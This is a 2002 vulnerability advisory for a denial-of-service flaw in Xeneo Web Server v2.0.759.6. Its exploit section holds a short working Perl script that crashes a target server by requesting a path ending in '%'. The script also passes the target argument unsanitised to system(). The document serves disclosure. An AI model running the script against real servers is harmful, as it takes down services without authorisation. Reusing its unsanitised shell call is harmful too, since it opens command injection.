Xeneo Web Server v2.0.759.6 DoS Vulnerability

Type

Denial of Service

Release Date

October 6, 2002

Product / Vendor

Xeneo Web Server is a fast, compact web server that makes it easy to set up and administer a web site on the Windows platform.

Xeneo Web Server key features:

- Unlimited Virtual Hosts
- File Caching
- Authentication
- ISAPI Support
- Application Mappings
- Filters
- SSL 3.0
- Scriptable Interface
- CGI/1.1

http://www.northernsolutions.com

Summary

Due to a denial of service vulnerability in Xeneo Web Server v2.0.759.6, it is possible for an attacker to cause the server to stop responding and crash. Problem is due to the "%" parameter's handling of unusually crafted requests. The Web server must be restarted to regain normal functionality.

Exploit

An exploit for this vulnerability exists and is available below.

==================== SNIP ====================

#!/usr/bin/perl -w

die "Xeneo Web Server v2.0.759.6 DoS Vulnerability by SecurityOffice / Usage: $0 host \n" if $#ARGV <0;

print &get($ARGV[0]);

exit 0;

sub get {

$host = $ARGV[0];

system "lynx $host/%";

print "Done!\n\n";

}

==================== SNIP ====================

Tested

Xeneo Web Server v2.0.759.6 / Windows 2000 sp3

Vulnerable

Xeneo Web Server v2.0.759.6

Disclaimer

http://www.securityoffice.net is not responsible for the misuse or illegal use of any of the information and/or the software listed on this security advisory.

Author

Tamer Sahin
ts(at)securityoffice.net
http://www.securityoffice.net